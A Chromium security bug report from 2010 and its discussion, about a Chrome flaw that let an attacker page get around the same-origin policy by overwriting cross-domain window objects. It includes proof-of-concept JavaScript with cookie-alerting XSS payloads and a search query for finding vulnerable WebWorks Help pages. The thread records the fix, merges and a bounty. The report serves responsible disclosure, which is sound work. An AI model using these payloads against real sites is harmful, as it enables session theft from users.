New issue
Advanced search Search tips
Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Sep 2010
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security
M-6

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Chrome cross window & cross domain object access

Reported by stefano....@gmail.com, Sep 13 2010 Back to list

Issue description

VULNERABILITY DETAILS
 
It is possible to let windows access other windows objects even though they are cross domain. 
This can be done in spite of the SOP by creating, from an attacker's page, an IFRAME with the name of the object the other window is trying to access and the overwriting it using JavaScript. It works on every window reference.

If it is possible I'd like to be posted about the time line for the fix, and have credits as the discoverer of this issue as Stefano Di Paola of MindedSecurity.

VERSION
Chrome Version:  Chrome (6.0.472.55) 
Operating System: Linux ubuntu  and Windows Xp

REPRODUCTION CASE
Victim host has a page like the following:

<script> 
document.writeln("<p>" +
window.opener.WWHFrame.WWHHelp.mMessages.mBookmarkLinkMessage + "</p>");
document.writeln("<p>" +
window.opener.WWHFrame.WWHControls.fBookmarkLink() + "</p>");
</script>

Obviously it won't be directly exploitable as a DOMXss since the attacker
cannot control WWHFrame object because of SOP.

But Attacker can use this evil page to trigger the Xss:

document.body.innerHTML+="<iframe name=WWHFrame  src='/'></iframe>"; // create the iframe with the name we want.

function go(){ // overwrite the name with an object
WWHFrame={WWHHelp: {
mMessages:{mBookmarkLinkMessage:"<scr"+"ipt>alert(document.cookie)</scr"+"ipt>"}
  } ,   WWHControls:{fBookmarkLink:function(){return "";}}}
}

si=setInterval(go,1); //Race Condition for setting the value at the right time..

open('http://vi.ct.im/page.html',"_blank");

After that the victim site will have access to the object itself and in
some case will use those values in the page itself like writing or
evaluating them in the document, triggering a Browser based DOM Xss.
Of course that is a simple example using opener, but it works for any
window reference.

 
Thanks for entering the report here, Stefano! We will be happy to credit you as directed.
All discussion in terms of timelines, proposed solutions, severity, etc. occur in the bug so feel free to join in :)

Do you happen to have any examples of sites which are negatively impacted by this?

cc: abarth@ since he is an expert in cross-origin reference leaks :)

Comment 2 by abarth@chromium.org, Sep 13 2010

Labels: -Area-Undefined Area-WebKit SecSeverity-High
Crazy.  There are more dangerous attack scenarios than the one outlined above.  We should get a repro set up to play with.
Thanks Chris,

sites affected: google for inurl:wwhimpl/common/html/document.htm

The Web Works Help is affected by this kind of attacks.

document.body.innerHTML+="<iframe name=WWHHelp   src='/' test='a'></iframe>"

function go(){
 
 WWHHelp=
 {fDisplayContextDocument:function(){return "<scr"+"ipt>alert(document.cookie)</scr"+"ipt>"}
   }  
}
si=setInterval(go,1);
 document.getElementById("d").contentWindow.location('http://host/with/wwhimpl/common/html/document.htm' );
//http://livedocs.adobe.com/flex/201/html/wwhelp/wwhimpl/common/html/document.htm

Also tinymce and fckeditor are probably affected as well (they were for opener IE7 issue).

It works for any window reference top|parent|opener etc



Of course yes, data leakage is another problem :)

Sorry for multiple posts, but my mind works in mysterious ways.

Just a thought, but maybe the could be the possibility of classic access to unreferenced objects or other memory issues.
I'm not really in webkit/chromium internals so I did not (and I won't) go further.

Also works for other "native" objects:
//From attacker
document.body.innerHTML+="<iframe name=document   src='/' test='a'></iframe> "
document.test="s"

//from victim
top.document.test
returns "s"


Comment 7 by abarth@chromium.org, Sep 13 2010

It sounds like the entries for frame names aren't being shielded by the origin access check in the global object.  I haven't tried to repro yet.
@abarth, AFAIK it's like that for every browser (no security exception triggered) even when SOP is not satisfied.
It just returns the window object.

To my opinion the SOP breaking works like the following:
1. DOM access is granted for iframe js object (returns DOMWindow) (this is correct).
2. when the object or its attributes are created/overwritten from the attacker page SOP access control is lost because it is no more considered a Window (this is not correct).

I could be wrong, of course.
Labels: -Pri-0 Pri-1 OS-All
Status: Assigned
Filed webkit bug - https://bugs.webkit.org/show_bug.cgi?id=45700 with repro.

Adam, can you please take a look.
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Mstone-6
Status: WillMerge
Fixed in r67509: <http://trac.webkit.org/changeset/67509>. Needs to merged to 472 and 517 branches.

Thanks Stefano for this nice bug.
Thank you guys,
you're super fast!
Any idea when you'll release the fix? 
Just to know when I can publish my findings.
Merged to 472: http://src.chromium.org/viewvc/chrome?view=rev&revision=59539

Stefano, it may even get released this week. That would probably break some form of record. Certainly next week. Keep an eye on http://googlechromereleases.blogspot.com/
Labels: reward-1000 reward-unpaid
@Stefano: congrats! This report provisionally qualifies for a $1000 Chromium Security Reward! Aside from being serious in the context of many sites, the panel found this bug to exhibit a nice clever twist :)
Thanks Chris 
...and thanks to the panel for being so kind! :)

I'll look for news on Chrome releases blog.

Status: FixUnreleased
Merged to 517.
Fix live with 6.0.472.62: http://googlechromereleases.blogspot.com/2010/09/stable-beta-channel-updates_17.html

Thanks Stefano. If you could wait a couple of days before dropping the full details that would be awesome.
Labels: -reward-unpaid
Payment is in the electronic system.
Labels: -Restrict-View-SecurityNotify
Status: Fixed
Labels: Type-Security
Labels: SecImpacts-Stable
Batch update.
Project Member

Comment 21 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 22 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Area-WebKit -SecSeverity-High -Mstone-6 -Type-Security -SecImpacts-Stable Cr-Content Security-Impact-Stable M-6 Type-Bug-Security Security-Severity-High
Project Member

Comment 23 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Project Member

Comment 24 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-High Security_Severity-High
Project Member

Comment 25 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 26 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 27 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 28 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic

Sign in to add a comment